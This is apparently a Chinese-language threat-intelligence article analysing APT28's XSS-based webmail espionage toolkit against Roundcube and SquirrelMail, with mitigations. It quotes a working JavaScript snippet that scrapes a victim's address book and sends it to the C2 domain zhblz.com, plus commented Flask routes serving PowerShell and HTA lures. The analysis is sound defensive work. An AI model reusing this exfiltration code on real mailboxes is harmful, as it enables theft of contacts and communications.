1. 簡介

近期威脅情資揭露了一起持續演化且具高度針對性的間諜行動,該行動歸因於 Threat actor FancyBear (亦被追蹤為 APT28)。此行動的特點在於長期利用遭入侵的基礎設施,並部署高度模組化的攻擊框架來鎖定網頁郵件平台。與許多現代威脅為了躲避偵測而頻繁輪換命令與控制(C2)伺服器不同,該 Threat actor 在公開歸因後,仍將單一 C2 節點維持運作超過 500 天 [1] 。本分析聚焦於其工具包的技術組件,特別是跨站腳本(XSS)的 malicious payload,以及用於資料外洩與認證竊取的伺服器端邏輯。

此基礎設施的持久性反映出 Threat actor 高度自信,或是經過風險評估後的決策,其原因可能在於模組化工具集的有效性。藉由維持穩定的 C2 環境,他們得以持續改進 payload 與資料外洩手法,並適應目標的特定安全組態設定。這份報告將深入探討其模組化框架的技術細節,分析他們如何利用網頁郵件環境來達成情報蒐集目標。

XSS注入之後:FancyBear如何透過Sieve規則與TOTP竊取,掌控你的Roundcube與SquirrelMail信箱 | 資訊安全新聞

2. 模組化攻擊框架

此行動的核心為一套以 JavaScript 為基礎的模組化框架,設計用於在受害者的網頁郵件 session 環境中執行。該框架具備平台識別能力,針對 Roundcube SquirrelMail 分別配置了特定模組。主要傳遞方式是透過利用 XSS 漏洞(例如 CVE-2023-43770)來注入一個「worker」腳本,該腳本負責協調各項惡意活動。這種模組化設計使得僅能針對特定目標部署必要組件,減少整體攻擊足跡,進而增加偵測難度。

graph TD A[Initial Access:
Spear-Phishing/XSS] --> B{Platform Detection} B -->|Roundcube| C[worker.js] B -->|SquirrelMail| D[worker2.js] C --> E[Credential Theft] C --> F[Sieve Rule Injection] C --> G[Address Book Exfiltration] D --> H[Inline Victim ID] D --> I[Address Book Scraping] E & F & G & H & I --> J[C2 Telemetry:
zhblz.com]

2.1. Roundcube 攻擊手法

在 Roundcube 環境中,Threat actor 利用該平台內建的 JavaScript 物件來協助資料竊取。 worker.js payload 設計上著重隱匿,通常會在背景執行而不影響使用者體驗。其中一項最關鍵的能力是自動建立 Sieve forwarding rules 。這些規則讓攻擊者能將所有進出信件靜默轉發至外部信箱,即使使用者變更密碼,仍可維持持續存取權限 [1]

Sieve 規則的實作特別具有破壞性,因為它運作在郵件伺服器層級,使得大多數客戶端安全措施難以察覺。透過注入這些規則,Threat actor 無需重新入侵帳戶,就能持續獲取情報。此技術展現出對郵件伺服器協定的深度理解,以及將合法管理功能武器化以進行間諜活動的能力。

2.2. SquirrelMail Payload 分析

worker2.js 的分析顯示,與 Roundcube 變種相比,它採用了更偏向手動的資料擷取方式。由於 SquirrelMail 缺乏像 Roundcube 的 rcmail 那樣的統一客戶端環境,payload 必須透過 DOM 解析來識別受害者並提取聯絡人。這需要一個更複雜的腳本,能夠導覽 SquirrelMail 介面的特定 HTML 結構。

  1. // Program: SquirrelMail Address Book Extractor (Snippet from worker2.js)
  2. // Description: This function constructs the address book URL, fetches the HTML,
  3. // and parses it to extract contact email addresses.
  4. async function getAddressBook(username) {
  5. try {
  6. // Construct the absolute path to the addressbook.php endpoint
  7. const newUrl = `${originalUrl.split("/src/")[0]}/src/addressbook.php`;
  8. // Fetch the address book page using the victim's current session cookies
  9. const response = await fetch(newUrl, {
  10. credentials: "include",
  11. // Session headers are automatically included by the browser
  12. });
  13. const html = await response.text();
  14. const parser = new DOMParser();
  15. const doc = parser.parseFromString(html, "text/html");
  16. // Locate all anchor tags that point to the compose.php script
  17. // These typically contain the email addresses of contacts
  18. const emailLinks = Array.from(doc.querySelectorAll('a[href*="compose.php"]'));
  19. const textList = emailLinks.map(link => link.textContent.trim());
  20. // Join the list and encode it for exfiltration
  21. const joined = textList.join("-");
  22. const base64Encoded = btoa(unescape(encodeURIComponent(joined)));
  23. // Construct the telemetry log entry with the 't_a_b_f_u_' prefix
  24. const log = `t_a_f_u_${username}_:_${base64Encoded}`;
  25. const trackingUrl = `https://zhblz.com/zJ2w9x?log=t_a_b_f_u_${username}_:_${encodeURIComponent(log)}`;
  26. // Send the data to the C2 server via a GET request
  27. await fetch(trackingUrl, { method: "GET", mode: "no-cors" });
  28. } catch (error) {
  29. // Log failure to the C2 server
  30. await fetch(`https://zhblz.com/zJ2w9x?log=e_t_a_b_f_u_${username}`);
  31. }
  32. }

3. 進階規避與持續性

現代載入器(例如 HijackLoader )的複雜度通常涉及多種進階規避技術,如 Call Stack Spoofing Anti-VM 檢查 [2] 。雖然此處分析的網頁郵件導向 payload 較側重應用層邏輯,但其底層的 C2 基礎設施也展現出類似的模組化跡象。該 C2 伺服器被發現託管了多個組件,包括用於處理外洩資料的 Python Flask 應用程式。

如 HijackLoader 中出現的 Call Stack Spoofing,是一種透過將堆疊中的返回位址覆寫為來自合法系統 DLL 的位址,來隱藏函數呼叫真實來源的技術 [2] 。這使得端點偵測與回應(Endpoint Detection and Response, EDR)工具極難將執行流程追溯回惡意 payload。同樣地,Anti-VM 檢查用於偵測惡意程式是否在沙箱或虛擬化環境中執行,使其得以終止或改變行為以避免分析。這些技術代表了惡意程式開發的尖端領域,且正逐漸整合進間諜工具包中。

3.1. C2 伺服器端邏輯

伺服器端程式碼( app.py )利用 Flask 框架來提供釣魚頁面並接收竊取的資料。值得注意的是,程式碼中包含被註解掉的區段,其中引用了「ClickFix」誘餌手法,該手法會誘騙使用者在嘗試修復瀏覽器錯誤的藉口下執行惡意命令 [1] 。這顯示 Threat actor 不斷測試與改良新的傳遞方式,以繞過傳統的安全過濾機制。

  1. # Program: C2 Server-Side Route Handler (Snippet from app.py)
  2. # Description: Flask routes for serving malicious payloads and lures.
  3. ###########---reCAPTCHA/Chrome Lures---##############
  4. # This route serves the initial phishing document
  5. # @app.route('/document')
  6. # def first():
  7. # return send_from_directory('static', 'index.html')
  8. # This route serves a PowerShell script disguised as a browser component
  9. # @app.route('/B')
  10. # def serve_hta():
  11. # return send_from_directory('static', 'Browser.ps1')
  12. # This route serves a malicious HTA file
  13. # @app.route('/b')
  14. # def serves():
  15. # return send_from_directory('static', 'browser.hta')
  16. # Endpoint for receiving exfiltrated messages via POST
  17. # @app.route('/endpoint', methods=['POST'])
  18. # def receive_message():
  19. # data = request.get_json()
  20. # message = data.get('message')
  21. # print(f"Received message: {message}")
  22. # return jsonify({"status": "success"}), 200

4. 遙測與資料外洩

此行動的遙測基礎是一套結構化的記錄系統。XSS payload 執行的每項動作都會透過特定 URL 參數回報給 C2,讓攻擊者能夠即時追蹤行動進度,並視需要調整戰術。記錄中使用的前綴碼清楚地描繪了攻擊者的目標,從 initial beaconing 到完整的認證與雙因子驗證(2FA)資料竊取。

前綴碼 動作 目標平台
u_{email}_o_m 受害者開啟含 XSS 的郵件 (Beacon) Roundcube
c_c_f_u_{email} 認證竊取 (Inline form) 兩者皆支援
m_f_u_{email} Sieve forwarding rule 已建立 Roundcube
k_t_f_u_{email} TOTP 2FA 密鑰遭竊 Roundcube
t_a_b_f_u_{email} 通訊錄遭竊 SquirrelMail

其中, TOTP (Time-based One-Time Password) 密鑰的外洩尤其值得關注。透過擷取用於產生 2FA 驗證碼的密鑰,攻擊者可以完全繞過多因素驗證,無需進一步互動即可完整存取受害者帳戶 [1] 。這項能力顯著提升了該 Threat actor 帶來的風險,因為它讓最常見的安全防護措施之一形同虛設。能夠竊取 TOTP 密鑰,暗示了 Threat actor 已開發出專門的模組來鎖定受害者所使用的特定 2FA 實作方式。

5. 技術影響與緩解措施

這類行動的影響深遠,因為它們允許大規模外洩敏感的政府與軍事通訊。透過蒐集聯絡人清單與注入轉寄規則,Threat actor 能夠繪製出整個通訊網路,並長期維持對關鍵情報的存取。此工具包的模組化特性使其能輕易地調整以鎖定其他網頁郵件平台,或在取得新技術時整合新的攻擊手法。

為降低此類風險,組織應採用多層次的安全防護方法。這包括定期更新網頁郵件軟體以修補已知的 XSS 漏洞,實施強大的內容安全政策(Content Security Policies, CSP)以防止未經授權的腳本執行,並監控郵件伺服器日誌以偵測可疑轉寄規則的建立。此外,使用硬體式安全金鑰(例如 FIDO2)可提供更強韌的防護來對抗 TOTP 竊取,因為這類金鑰更難透過遠端攻擊手法入侵。

6. 結論

對此行動的技術分析突顯了模組化、平台特定攻擊手法的有效性。透過鎖定網頁郵件漏洞,Threat actor 能夠以極少的使用者互動實現深度持續性存取與大規模資料外洩。Sieve 規則的使用與 TOTP 提取,展現出對目標環境的高度掌握。此外,從近期網路安全研究中討論的現代載入器(如 HijackLoader)中整合的技術來看 [2] ,這暗示了間諜行動正朝向模組化與規避技術發展的廣泛趨勢。組織必須將網頁郵件基礎設施的安全列為優先事項,並對頂尖 Threat actor 不斷演進的戰術保持警覺。